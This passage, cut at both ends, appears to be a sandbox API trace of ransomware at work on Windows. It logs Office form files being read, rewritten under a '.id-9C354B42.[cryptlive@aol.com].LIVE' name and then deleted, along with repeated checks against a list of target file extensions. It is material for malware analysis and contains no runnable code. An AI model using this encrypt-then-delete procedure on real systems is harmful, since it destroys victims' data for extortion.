(lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omsmms.cfg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0157.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omsmms.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0157.246] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.246] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omsmms.cfg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0157.247] GetLastError () returned 0x0 [0157.247] ReadFile (in: hFile=0x38c, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x267, lpOverlapped=0x0) returned 1 [0157.404] WriteFile (in: hFile=0x380, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x270, lpOverlapped=0x0) returned 1 [0157.405] ReadFile (in: hFile=0x38c, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0157.405] WriteFile (in: hFile=0x380, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0157.405] SetEndOfFile (hFile=0x380) returned 1 [0157.405] CloseHandle (hObject=0x380) returned 1 [0157.405] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.405] SetEndOfFile (hFile=0x38c) returned 1 [0157.408] CloseHandle (hObject=0x38c) returned 1 [0157.409] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0157.409] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omsmms.cfg")) returned 1 [0157.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG") returned 64 [0157.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG") returned 64 [0157.410] lstrlenW (lpString=".doc") returned 4 [0157.410] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0157.410] lstrlenW (lpString=".docx") returned 5 [0157.410] lstrcmpiW (lpString1=".docx", lpString2="S.CFG") returned -1 [0157.410] lstrlenW (lpString=".pdf") returned 4 [0157.410] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0157.410] lstrlenW (lpString=".xls") returned 4 [0157.411] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0157.411] lstrlenW (lpString=".xlsx") returned 5 [0157.411] lstrcmpiW (lpString1=".xlsx", lpString2="S.CFG") returned -1 [0157.411] lstrlenW (lpString=".ppt") returned 4 [0157.411] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0157.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG") returned 64 [0157.411] lstrlenW (lpString=".zip") returned 4 [0157.411] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0157.411] lstrlenW (lpString=".rar") returned 4 [0157.411] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0157.411] lstrlenW (lpString=".bz2") returned 4 [0157.411] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0157.411] lstrlenW (lpString=".7z") returned 3 [0157.411] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0157.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG") returned 64 [0157.411] lstrlenW (lpString=".dbf") returned 4 [0157.411] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0157.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG") returned 64 [0157.411] lstrlenW (lpString=".1cd") returned 4 [0157.411] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0157.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG") returned 64 [0157.411] lstrlenW (lpString=".jpg") returned 4 [0157.411] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0157.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG") returned 64 [0157.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG") returned 64 [0157.411] lstrlenW (lpString=".doc") returned 4 [0157.411] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0157.411] lstrlenW (lpString=".docx") returned 5 [0157.412] lstrcmpiW (lpString1=".docx", lpString2="S.CFG") returned -1 [0157.412] lstrlenW (lpString=".pdf") returned 4 [0157.412] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0157.412] lstrlenW (lpString=".xls") returned 4 [0157.412] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0157.412] lstrlenW (lpString=".xlsx") returned 5 [0157.412] lstrcmpiW (lpString1=".xlsx", lpString2="S.CFG") returned -1 [0157.412] lstrlenW (lpString=".ppt") returned 4 [0157.412] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0157.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG") returned 64 [0157.412] lstrlenW (lpString=".zip") returned 4 [0157.412] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0157.412] lstrlenW (lpString=".rar") returned 4 [0157.412] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0157.412] lstrlenW (lpString=".bz2") returned 4 [0157.412] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0157.412] lstrlenW (lpString=".7z") returned 3 [0157.412] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0157.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG") returned 64 [0157.412] lstrlenW (lpString=".dbf") returned 4 [0157.412] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0157.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG") returned 64 [0157.412] lstrlenW (lpString=".1cd") returned 4 [0157.412] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0157.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG") returned 64 [0157.412] lstrlenW (lpString=".jpg") returned 4 [0157.412] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0157.413] lstrcmpiW (lpString1=".CFG", lpString2=".LIVE") returned -1 [0157.413] lstrlenW (lpString="OMSSMS.CFG") returned 10 [0157.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omssms.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0157.414] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=603) returned 1 [0157.414] CloseHandle (hObject=0x38c) returned 1 [0157.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omssms.cfg")) returned 0x20 [0157.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omssms.cfg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0157.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omssms.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0157.415] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.415] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omssms.cfg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0157.416] GetLastError () returned 0x0 [0157.416] ReadFile (in: hFile=0x38c, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x25b, lpOverlapped=0x0) returned 1 [0157.417] WriteFile (in: hFile=0x380, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x260, lpOverlapped=0x0) returned 1 [0157.419] ReadFile (in: hFile=0x38c, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0157.419] WriteFile (in: hFile=0x380, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0157.419] SetEndOfFile (hFile=0x380) returned 1 [0157.419] CloseHandle (hObject=0x380) returned 1 [0157.419] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.419] SetEndOfFile (hFile=0x38c) returned 1 [0157.422] CloseHandle (hObject=0x38c) returned 1 [0157.422] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0157.422] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omssms.cfg")) returned 1 [0157.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG") returned 64 [0157.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG") returned 64 [0157.437] lstrlenW (lpString=".doc") returned 4 [0157.437] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0157.437] lstrlenW (lpString=".docx") returned 5 [0157.438] lstrcmpiW (lpString1=".docx", lpString2="S.CFG") returned -1 [0157.438] lstrlenW (lpString=".pdf") returned 4 [0157.438] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0157.438] lstrlenW (lpString=".xls") returned 4 [0157.438] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0157.438] lstrlenW (lpString=".xlsx") returned 5 [0157.438] lstrcmpiW (lpString1=".xlsx", lpString2="S.CFG") returned -1 [0157.438] lstrlenW (lpString=".ppt") returned 4 [0157.438] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0157.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG") returned 64 [0157.438] lstrlenW (lpString=".zip") returned 4 [0157.438] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0157.438] lstrlenW (lpString=".rar") returned 4 [0157.438] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0157.438] lstrlenW (lpString=".bz2") returned 4 [0157.438] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0157.438] lstrlenW (lpString=".7z") returned 3 [0157.438] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0157.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG") returned 64 [0157.438] lstrlenW (lpString=".dbf") returned 4 [0157.438] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0157.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG") returned 64 [0157.438] lstrlenW (lpString=".1cd") returned 4 [0157.438] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0157.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG") returned 64 [0157.438] lstrlenW (lpString=".jpg") returned 4 [0157.438] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0157.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG") returned 64 [0157.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG") returned 64 [0157.439] lstrlenW (lpString=".doc") returned 4 [0157.439] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0157.439] lstrlenW (lpString=".docx") returned 5 [0157.439] lstrcmpiW (lpString1=".docx", lpString2="S.CFG") returned -1 [0157.439] lstrlenW (lpString=".pdf") returned 4 [0157.439] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0157.439] lstrlenW (lpString=".xls") returned 4 [0157.439] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0157.439] lstrlenW (lpString=".xlsx") returned 5 [0157.439] lstrcmpiW (lpString1=".xlsx", lpString2="S.CFG") returned -1 [0157.439] lstrlenW (lpString=".ppt") returned 4 [0157.439] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0157.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG") returned 64 [0157.439] lstrlenW (lpString=".zip") returned 4 [0157.439] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0157.439] lstrlenW (lpString=".rar") returned 4 [0157.439] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0157.439] lstrlenW (lpString=".bz2") returned 4 [0157.439] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0157.439] lstrlenW (lpString=".7z") returned 3 [0157.439] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0157.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG") returned 64 [0157.439] lstrlenW (lpString=".dbf") returned 4 [0157.439] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0157.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG") returned 64 [0157.439] lstrlenW (lpString=".1cd") returned 4 [0157.439] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0157.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG") returned 64 [0157.439] lstrlenW (lpString=".jpg") returned 4 [0157.440] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0157.440] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0157.440] lstrlenW (lpString="OOFL.ICO") returned 8 [0157.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\oofl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0157.441] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=1078) returned 1 [0157.441] CloseHandle (hObject=0x38c) returned 1 [0157.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\oofl.ico")) returned 0x20 [0157.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\oofl.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0157.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\oofl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0157.442] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.442] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\oofl.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0157.443] GetLastError () returned 0x0 [0157.443] ReadFile (in: hFile=0x38c, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x436, lpOverlapped=0x0) returned 1 [0157.455] WriteFile (in: hFile=0x380, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x440, lpOverlapped=0x0) returned 1 [0157.456] ReadFile (in: hFile=0x38c, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0157.456] WriteFile (in: hFile=0x380, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0157.456] SetEndOfFile (hFile=0x380) returned 1 [0157.457] CloseHandle (hObject=0x380) returned 1 [0157.457] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.457] SetEndOfFile (hFile=0x38c) returned 1 [0158.352] CloseHandle (hObject=0x38c) returned 1 [0158.352] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.430] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\oofl.ico")) returned 1 [0158.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO") returned 62 [0158.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO") returned 62 [0158.431] lstrlenW (lpString=".doc") returned 4 [0158.431] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0158.431] lstrlenW (lpString=".docx") returned 5 [0158.431] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0158.431] lstrlenW (lpString=".pdf") returned 4 [0158.431] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0158.431] lstrlenW (lpString=".xls") returned 4 [0158.431] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0158.431] lstrlenW (lpString=".xlsx") returned 5 [0158.431] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0158.431] lstrlenW (lpString=".ppt") returned 4 [0158.431] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0158.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO") returned 62 [0158.431] lstrlenW (lpString=".zip") returned 4 [0158.431] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0158.431] lstrlenW (lpString=".rar") returned 4 [0158.431] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0158.431] lstrlenW (lpString=".bz2") returned 4 [0158.431] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0158.431] lstrlenW (lpString=".7z") returned 3 [0158.431] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0158.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO") returned 62 [0158.431] lstrlenW (lpString=".dbf") returned 4 [0158.431] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0158.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO") returned 62 [0158.431] lstrlenW (lpString=".1cd") returned 4 [0158.431] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0158.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO") returned 62 [0158.432] lstrlenW (lpString=".jpg") returned 4 [0158.432] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0158.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO") returned 62 [0158.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO") returned 62 [0158.432] lstrlenW (lpString=".doc") returned 4 [0158.432] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0158.432] lstrlenW (lpString=".docx") returned 5 [0158.432] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0158.432] lstrlenW (lpString=".pdf") returned 4 [0158.432] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0158.432] lstrlenW (lpString=".xls") returned 4 [0158.432] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0158.432] lstrlenW (lpString=".xlsx") returned 5 [0158.432] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0158.432] lstrlenW (lpString=".ppt") returned 4 [0158.432] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0158.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO") returned 62 [0158.432] lstrlenW (lpString=".zip") returned 4 [0158.432] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0158.432] lstrlenW (lpString=".rar") returned 4 [0158.432] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0158.432] lstrlenW (lpString=".bz2") returned 4 [0158.432] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0158.432] lstrlenW (lpString=".7z") returned 3 [0158.432] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0158.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO") returned 62 [0158.432] lstrlenW (lpString=".dbf") returned 4 [0158.432] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0158.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO") returned 62 [0158.433] lstrlenW (lpString=".1cd") returned 4 [0158.433] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0158.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO") returned 62 [0158.433] lstrlenW (lpString=".jpg") returned 4 [0158.433] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0158.433] lstrcmpiW (lpString1=".CFG", lpString2=".LIVE") returned -1 [0158.433] lstrlenW (lpString="OOFTMPL.CFG") returned 11 [0158.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ooftmpl.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0158.434] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=828) returned 1 [0158.434] CloseHandle (hObject=0x1fc) returned 1 [0158.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ooftmpl.cfg")) returned 0x20 [0158.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ooftmpl.cfg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ooftmpl.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0158.471] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.471] SetFilePointerEx (in: hFile=0x3a0, 